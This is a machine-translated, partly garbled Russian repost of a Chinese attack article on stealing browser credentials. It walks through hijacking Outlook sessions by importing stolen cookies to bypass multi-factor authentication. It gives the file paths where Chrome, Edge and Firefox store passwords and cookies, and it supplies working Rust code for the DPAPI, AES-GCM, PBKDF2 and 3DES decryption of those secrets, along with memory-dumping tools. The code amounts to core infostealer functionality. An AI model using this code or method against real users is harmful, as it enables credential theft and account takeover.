Атака и защита|Получение учетных данных браузера -- Cookies && Password
Атака и защита|Получение учетных данных браузера -- Cookies && Password

Оригинальная ссылка:

https://xz.aliyun.com/t/14245

Получение учетных данных браузера – файлы cookie

Введение:Популярный в последние годыМногофакторная аутентификация(MFA),Лично я считаю, что это тоже тенденция будущего: недостаточно зайти на определенные сайты и получить только счетпароль;,Это показывает важность файлов cookie,использовать обход файлов cookie Многофакторная аутентификация будет часто использоваться в будущем,Поэтому в этой статье будут кратко проанализированы идеи получения и использования файлов cookie;

Как это получить:

  1. Получите локальный файл Браузерcookies;
  2. Получить куки из памяти;

Анализ возможности использования файлов cookie

Используйте файлы cookie для входа в Outlook других пользователей.

Этот метод только проверяет возможность входа в систему с помощью файлов cookie без учетной записи и пароля.

Через два хоста один Авторизоватьсяoutlookсчет,Ни один Авторизоватьсяoutlookсчет Сравнить посещенияhttps://outlook.live.com/mail/0процесс;

Сначала проверьте, нет ли Outlook cookieпосещатьoutlookПочта,доступ/mail/0назад,будет следоватьPOSTпросить/owa/0/startupdata.ashx?app=Mail&n=0,Код ответа440 Login Тайм-аут, затем произойдет переход на страницу входа в систему;

Посмотрите на существование перспективы cookieпосещатьoutlookПочта,POSTпросить/owa/0/startupdata.ashx?app=Mail&n=0,Код ответа — 200, после чего будет загружена страница почтового ящика Outlook;

Вот предположение,Если я изменю файл cookie с кодом ответа 200, скопируйте файл cookie с кодом ответа 440.,Можно ли войти в него напрямую?outlook?Так что используйтеburp将доступ/owa/0/startupdata.ashx?app=Mail&n=0изPOSTпросить拦截,Замените файл cookie файлом cookie, содержащим предыдущий код ответа 200.,Ответ 200,Затем будет загружено содержимое почтового ящика Outlook.,Но просто заменить этот пакет недостаточно,Если последующий пакет запроса не содержит cookie-файла «Авторизоваться» и успешный пользователь все равно перейдет на страницу «Авторизоваться»;

Здесь вы можете использовать плагин Cookie-Editor для браузера, чтобы экспортировать успешно зарегистрированный файл cookie Outlook в формат JSON;

Не авторизовать хост Outlook здесь,burp включает режим перехвата,直接доступhttps://outlook.live.vom/mail/0,После упаковки этого запроса в Forward,Будет запрашивать динамические изображения почтового ящика в формате SVG.,В это время продолжайте использовать плагин Браузер Cookie-Editor.,Импортируйте содержимое JSON, экспортированное выше.,Потом рыгать перестает перехватывать,добиться успеха Авторизоваться;

Кража файлов cookie

Извлеките файлы cookie локально

Принцип извлечения файлов cookie

chromeБраузер сгенерирует свой ключ,Конвертировать значение cookie в шифрование AES,Сохраняйте секретный текст и другую информацию в%LocalAppData%\Google\Chrome\User Data\Default\Network\Cookiesсередина,Назначьте копию файла cookie и измените суффикс на .db;

Затем откройте его через navicat, чтобы увидеть содержимое файла cookie, в котором содержимое поля Encrypt_vlaue представляет собой зашифрованные значения cookie;

шифрованиеcookieиз密钥通过DPAPIшифрование Сохранить в%LocalAppData%\Google\Chrome\User Data\Local Stateсередина,Значение «encrypted_key» в «os_crypt» в json является ключом шифрования;

Преимущества и недостатки

преимущество:

  • Игнорировать файлы cookie,Получать только файлы cookie хранилища,Динамические файлы cookie можно получить позже, взаимодействуя с веб-сайтом;

недостаток:

  • Браузер необходимо закрыть (иначе файл cookie будет занят);
  • Требуется расшифровка DPAPI (но большинство антивирусных программ EDR не тревожит);
  • Можно получить только файлы cookie хранилища.,Некоторые веб-сайты могут иметь динамические файлы cookie.,Прямой импорт потерпит неудачу (прогноз);
Процесс извлечения

Процесс извлечения файлов cookie:

  1. Извлечь зашифрованный текст файла cookie;
  2. Извлечь ключ шифрования;
  3. Расшифровать ключ через DPAPI;
  4. Затем используйте расшифрованный ключ AES для расшифровки зашифрованного текста cookie;

Блок-схема шифрования файлов cookie Chrome:

Извлечь куки из памяти

Принцип извлечения файлов cookie

Браузер на основе ядра Chromium вызывает CookieMonster при запуске, чтобы загрузить все файлы cookie из базы данных файлов cookie на диске; он выполняет сканирование памяти во внутренней сети целевого хоста, находит адрес памяти CookieMonster с помощью определенных сигнатур браузера и сбрасывает файлы cookie.

Преимущества и недостатки

преимущество:

  • Нет необходимости закрывать процесс Браузер;
  • Получите все файлы cookie соответствующего веб-сайта (динамические файлы cookie + файлы cookie хранилища) и импортируйте их напрямую, чтобы успешно Авторизоваться;
  • Нет необходимости использовать DPAPI для расшифровки;

недостаток:

  • Сбрасывать можно только обычные файлы cookie, а Chromium разделит их позже;
Процесс извлечения

Процесс извлеченияследующее:

  • Найдите pid процесса Chrome;
  • Найдите в процессе базовый адрес и размер chrome.dll;
  • Найдите CookieMonster и управляйте адресом файлов cookie в памяти с помощью трех функциональных запросов;
  • Прочитайте содержимое каждого файла cookie по адресу CookieMonster;

Адрес инструмента:

Язык кода:javascript
копировать
https://github.com/Meckazin/ChromeKatz

Импортировать файлы cookie

Если файлы cookie получены из памяти, их можно напрямую импортировать в браузер, но если сохраненные файлы cookie извлекаются из локального файла cookie, некоторым веб-сайтам (Outlook и т. д.) потребуется некоторое взаимодействие, и сервер предоставит клиенту; некоторые сеансы (динамические файлы cookie) Получить динамические файлы cookie будет сложнее, поэтому полученные файлы cookie будут импортированы в локальный файл cookie;

Раньше я пытался импортировать его в файл cookie Chrome. После шифрования импорта Chrome не распознал эти файлы cookie. Я попытался скопировать локальный файл cookie и внедрить его непосредственно в собственный файл cookie. Здесь считается, что Chromium работает. операции, аналогичные проверке целостности файлов cookie;

Если браузеры на базе Chromium не работают, вы можете попробовать другие браузеры, например Firefox. Файлы cookie, хранящиеся в браузере Firefox, представляют собой открытый текст и не выполняют проверку целостности. Вы можете внедрить файлы cookie в файл cookie Firefox;

код ключа

Код расшифровки DPAPI:

Язык кода:javascript
копировать
fn crypt_unprotect_data(crypted_bytes: &[u8]) -> windows::core::Result<Vec<u8>> {
    let len = crypted_bytes.len();
    let mut bytes = Vec::from(crypted_bytes);
    let pb = bytes.as_mut_ptr();
    let mut blob = CRYPTOAPI_BLOB {
        pbData: pb,
        cbData: len as u32,
    };
    let mut out = Vec::with_capacity(len);
    let mut blob_out = CRYPTOAPI_BLOB {
        pbData: out.as_mut_ptr(),
        cbData: out.len() as u32,
    };
    unsafe {
        CryptUnprotectData(
            &mut blob,
            std::ptr::null_mut(),
            std::ptr::null(),
            std::ptr::null_mut(),
            std::ptr::null(),
            0,
            &mut blob_out,
        )
        .ok()?;
        let slice = std::slice::from_raw_parts(blob_out.pbData, blob_out.cbData as usize);
        LocalFree(blob_out.pbData as isize);
        Ok(slice.to_vec())
    }
}

Код расшифровки AES:

Язык кода:javascript
копировать
pub fn decrypt_cookie(key: Vec<u8>, encrypted_value: Vec<u8>) -> (String, Vec<u8>) {
    if encrypted_value.len() == 0{
        return (String::from(" "), Vec::new());
    }
    let iv: &[u8] = &encrypted_value[3..15];
    let encrypted_value = &encrypted_value[15..];
    let cipher = Aes256Gcm::new(&GenericArray::from_slice(&key));
    if let Ok(decrypted) = cipher.decrypt(GenericArray::from_slice(iv), encrypted_value) {
        if let Ok(decoded) = String::from_utf8(decrypted) {
            return(decoded, iv.to_vec());
        }
    }
    return (String::new(), Vec::new());
}

Получение учетных данных браузера – пароль

Введение: В этой статье представлены принципы извлечения трех распространенных Браузерпароль и Реализация. код;Только демо последней версии.

Как это получить:

Получите файл хранения паролей браузера и расшифруйте соответствующие зашифрованные поля;

Принцип извлечения пароля

Chromium

Chromeпарольпуть к файлу:%LocalAppData%\Google\Chrome\User Data\Default\Login Data

Chrome密钥путь к файлу:%LocalAppData%\Google\Chrome\User Data\Local State

Edgeпарольпуть к файлу:%LocalAppData%\Microsoft\Edge\User Data\Default\Login Data

Edge密钥путь к файлу:%LocalAppData%\Microsoft\Edge\User Data\Local State

Скопируйте файл и измените суффикс на db (сам по себе sqlite), затем вы сможете открыть его с помощью инструмента базы данных;

Ключевые поля:

  • origin_ur -- url
  • username_value -- номер счета
  • пароль_значение – пароль

Тип шифрования: Шифрование DPAPI, шифрование AES;

Метод расшифровки

Пароль, зашифрованный браузером ядра Chromium, аналогичен шифрованию файлов cookie. DPAPI вызывается для расшифровки ключа AES, а затем для расшифровки используется AES.

Реализация кода

Код расшифровки DPAPI:

Язык кода:javascript
копировать
fn crypt_unprotect_data(crypted_bytes: &[u8]) -> windows::core::Result<Vec<u8>> {
    let len = crypted_bytes.len();
    let mut bytes = Vec::from(crypted_bytes);
    let pb = bytes.as_mut_ptr();
    let mut blob = CRYPTOAPI_BLOB {
        pbData: pb,
        cbData: len as u32,
    };
    let mut out = Vec::with_capacity(len);
    let mut blob_out = CRYPTOAPI_BLOB {
        pbData: out.as_mut_ptr(),
        cbData: out.len() as u32,
    };
    unsafe {
        CryptUnprotectData(
            &mut blob,
            std::ptr::null_mut(),
            std::ptr::null(),
            std::ptr::null_mut(),
            std::ptr::null(),
            0,
            &mut blob_out,
        )
        .ok()?;
        let slice = std::slice::from_raw_parts(blob_out.pbData, blob_out.cbData as usize);
        LocalFree(blob_out.pbData as isize);
        Ok(slice.to_vec())
    }
}

Код расшифровки AES:

Язык кода:javascript
копировать
pub fn decrypt_cookie(key: Vec<u8>, encrypted_value: Vec<u8>) -> (String, Vec<u8>) {
    if encrypted_value.len() == 0{
        return (String::from(" "), Vec::new());
    }
    let iv: &[u8] = &encrypted_value[3..15];
    let encrypted_value = &encrypted_value[15..];
    let cipher = Aes256Gcm::new(&GenericArray::from_slice(&key));
    if let Ok(decrypted) = cipher.decrypt(GenericArray::from_slice(iv), encrypted_value) {
        if let Ok(decoded) = String::from_utf8(decrypted) {
            return(decoded, iv.to_vec());
        }
    }
    return (String::new(), Vec::new());
}

Firefox

Firefoxпарольпуть к файлу:C:\Users\<USERS>\AppData\Roaming\Mozilla\Firefox\Profiles\xxxxxxx-release\logins.json

Ключевые поля:

  • hostname -- url;
  • зашифрованноеимя_пользователя -- номер учетной записи;
  • зашифрованный пароль -- пароль;

Firefox密钥путь к файлу:C:\Users\<USERS>\AppData\Roaming\Mozilla\Firefox\Profiles\xxxxxxx-release\key4.db

Тип шифрования:SHA256шифрование、3DES-CBCшифрование;

Метод расшифровки
Расшифровка алгоритма

Примечание. Главный пароль в Firefox не установлен по умолчанию (он пуст). Если он установлен, вам необходимо указать главный пароль для расшифровки, иначе расшифровка не удастся;

Процесс расшифровки:

Получите ключ 3DES, извлекая определенные значения в таблице метаданных и таблице nssprivate в key4.db, и выполните шифрование и дешифрование SHA1 и SHA256. Затем извлеките зашифрованный пароль учетной записи в файле logins.json и выполните расшифровку 3DES, чтобы получить учетную запись в виде открытого текста. пароль;

Подробная схема расшифровки:

Реализация кода

Процесс расшифровки элемента аналогичен расшифровке a11. Функция decrypt_pbe демонстрирует, как расшифровать значение a11. Чтобы проанализировать элемент, вам нужно только определить, является ли результат анализа «проверкой пароля»;

DERдекодирование+SHA1шифрование+SHA256Код расшифровки:

Шифрование SHA1 + расшифровка PBKDF2 для получения ключа SHA256:

Язык кода:javascript
копировать
fn sha1_encrypt(
    entry_salt: Vec<u8>,
    interation_count: u32,
    hex_byte_salts: Vec<u8>,
    master_password: String
) -> Vec<u8> {
    let mut sha1_hasher = Sha1::new();
        sha1_hasher.update(hex_byte_salts);
        sha1_hasher.update(master_password);
        let k = sha1_hasher.finalize().to_vec();
        let mut key = vec![0u8; 32];
        pbkdf2::<Hmac<Sha256>> (&k, &entry_salt, interation_count, &mut key).unwrap();
        key
}

Расшифровка SHA256 для получения ключа дешифрования 3DES:

Язык кода:javascript
копировать
fn sha256_decrypt(
    key: Vec<u8>,
    iv: Vec<u8>,
    ciphert: Vec<u8>
) -> Vec<u8> {
    let key_array: &[u8; 32] = array_ref!(key, 0, 32);
    let cipher = Cipher::new_256(key_array);
    let decrypted = cipher.cbc_decrypt(&iv, &ciphert);

    log::debug!("decrypt_data is: {:?}",decrypted);
    decrypted[..24].to_vec()
}

DER парсит для получения значений, необходимых для шифрования:

Язык кода:javascript
копировать
fn decrypt_pbe(
        a11: Vec<u8>,
        master_password: String,
        global_salt: String
    ) -> (Vec<u8>, u32, u64, Vec<u8>, Vec<u8>, Vec<u8> ) {
        let item = parse_der(&a11).unwrap();
        assert_eq!(item.1[0][0].content.clone().as_oid().unwrap().to_string(), "1.2.840.113549.1.5.13", "No encryption method recognized");
        assert_eq!(item.1[0][1][0][0].content.clone().as_oid().unwrap().to_string(), "1.2.840.113549.1.5.12", "No encryption method recognized");
        assert_eq!(item.1[0][1][0][1][3][0].content.clone().as_oid().unwrap().to_string(), "1.2.840.113549.2.9", "No encryption method recognized");
        assert_eq!(item.1[0][1][1][0].content.clone().as_oid().unwrap().to_string(), "2.16.840.1.101.3.4.1.42", "No encryption method recognized");
        let entry_salt = item.1[0][1][0][1][0].content.as_slice().unwrap();
        let interation_count = item.1[0][1][0][1][1].content.as_u32().unwrap();
        let key_length = item.1[0][1][0][1][2].content.as_u64().unwrap();
        assert_eq!(key_length, 32);

        let hex_byte_salts = hex::decode(global_salt.as_bytes()).unwrap();
        log::debug!("all is: {:?}", item);
        log::debug!("global_salt is: {:?}", hex_byte_salts);
        log::debug!("key_length is: {:?}", key_length);
        log::debug!("interation_count is: {:?}", interation_count);

        let mut iv: Vec<u8> = Vec::new();
        let iv_end = item.1[0][1][1][1].as_slice().unwrap();
        iv.push(4);
        iv.push(14);
        iv.extend_from_slice(iv_end);
        let ciphert = item.1[1].as_slice().unwrap();
        log::debug!("iv is: {:?}", iv);
        log::debug!("ciphert is: {:?}", ciphert);

        (entry_salt.to_vec(), interation_count, key_length, hex_byte_salts, iv, ciphert.to_vec())
    }

Расшифровка 3DES для получения обычного текстового пароля:

Язык кода:javascript
копировать
pub fn des3_decrypt(
            key: Vec<u8>,
            encryptdata: &str
        ) -> String {
            log::debug!("encryptdata is: {}", encryptdata);
            log::debug!("key is: {:?}", key);
            let base53_data = base64::decode(encryptdata).unwrap();
            let iv = &base53_data[34..42];
            let mut ciphertext = base53_data[44..].to_vec();
            type TDesCbc = Decryptor<TdesEde3>;
            let tdes = TDesCbc::new_from_slices(&key, iv).unwrap();
            let result = tdes.decrypt_padded_mut::<Pkcs7>(&mut ciphertext).unwrap();
            log::debug!("decrypt_data is: {:?}", String::from_utf8_lossy(result));
            String::from_utf8(result.to_vec()).unwrap()

        }
Вызов dll для расшифровки

Вызовите функцию в Firefox nss3.dll для расшифровки;

Функция вызова nss3.dll:

  • NSS_Init -- инициализация nss;
  • PK11_GetInternalKeySlot -- Получить встроенный слот ключа (solt);
  • PK11_CheckUserPassword — убедитесь, что пароль, предоставленный пользователем, соответствует паролю пользователя, связанному с данным слотом ключа;
  • PK11_Authenticate — авторизовать ключевой слот;
  • PK11SDR_Decrypt -- расшифровать;

Справочный код:

Язык кода:javascript
копировать
https://github.com/unode/firefox_decrypt
boy illustration
Неразрушающее увеличение изображений одним щелчком мыши, чтобы сделать их более четкими артефактами искусственного интеллекта, включая руководства по установке и использованию.
boy illustration
Копикодер: этот инструмент отлично работает с Cursor, Bolt и V0! Предоставьте более качественные подсказки для разработки интерфейса (создание навигационного веб-сайта с использованием искусственного интеллекта).
boy illustration
Новый бесплатный RooCline превосходит Cline v3.1? ! Быстрее, умнее и лучше вилка Cline! (Независимое программирование AI, порог 0)
boy illustration
Разработав более 10 проектов с помощью Cursor, я собрал 10 примеров и 60 подсказок.
boy illustration
Я потратил 72 часа на изучение курсорных агентов, и вот неоспоримые факты, которыми я должен поделиться!
boy illustration
Идеальная интеграция Cursor и DeepSeek API
boy illustration
DeepSeek V3 снижает затраты на обучение больших моделей
boy illustration
Артефакт, увеличивающий количество очков: на основе улучшения характеристик препятствия малым целям Yolov8 (SEAM, MultiSEAM).
boy illustration
DeepSeek V3 раскручивался уже три дня. Сегодня я попробовал самопровозглашенную модель «ChatGPT».
boy illustration
Open Devin — инженер-программист искусственного интеллекта с открытым исходным кодом, который меньше программирует и больше создает.
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | SPPF сочетается с воспринимаемой большой сверткой ядра UniRepLK, а свертка с большим ядром + без расширения улучшает восприимчивое поле
boy illustration
Популярное и подробное объяснение DeepSeek-V3: от его появления до преимуществ и сравнения с GPT-4o.
boy illustration
9 основных словесных инструкций по доработке академических работ с помощью ChatGPT, эффективных и практичных, которые стоит собрать
boy illustration
Вызовите deepseek в vscode для реализации программирования с помощью искусственного интеллекта.
boy illustration
Познакомьтесь с принципами сверточных нейронных сетей (CNN) в одной статье (суперподробно)
boy illustration
50,3 тыс. звезд! Immich: автономное решение для резервного копирования фотографий и видео, которое экономит деньги и избавляет от беспокойства.
boy illustration
Cloud Native|Практика: установка Dashbaord для K8s, графика неплохая
boy illustration
Краткий обзор статьи — использование синтетических данных при обучении больших моделей и оптимизации производительности
boy illustration
MiniPerplx: новая поисковая система искусственного интеллекта с открытым исходным кодом, спонсируемая xAI и Vercel.
boy illustration
Конструкция сервиса Synology Drive сочетает проникновение в интрасеть и синхронизацию папок заметок Obsidian в облаке.
boy illustration
Центр конфигурации————Накос
boy illustration
Начинаем с нуля при разработке в облаке Copilot: начать разработку с минимальным использованием кода стало проще
boy illustration
[Серия Docker] Docker создает мультиплатформенные образы: практика архитектуры Arm64
boy illustration
Обновление новых возможностей coze | Я использовал coze для создания апплета помощника по исправлению домашних заданий по математике
boy illustration
Советы по развертыванию Nginx: практическое создание статических веб-сайтов на облачных серверах
boy illustration
Feiniu fnos использует Docker для развертывания личного блокнота Notepad
boy illustration
Сверточная нейронная сеть VGG реализует классификацию изображений Cifar10 — практический опыт Pytorch
boy illustration
Начало работы с EdgeonePages — новым недорогим решением для хостинга веб-сайтов
boy illustration
[Зона легкого облачного игрового сервера] Управление игровыми архивами
boy illustration
Развертывание SpringCloud-проекта на базе Docker и Docker-Compose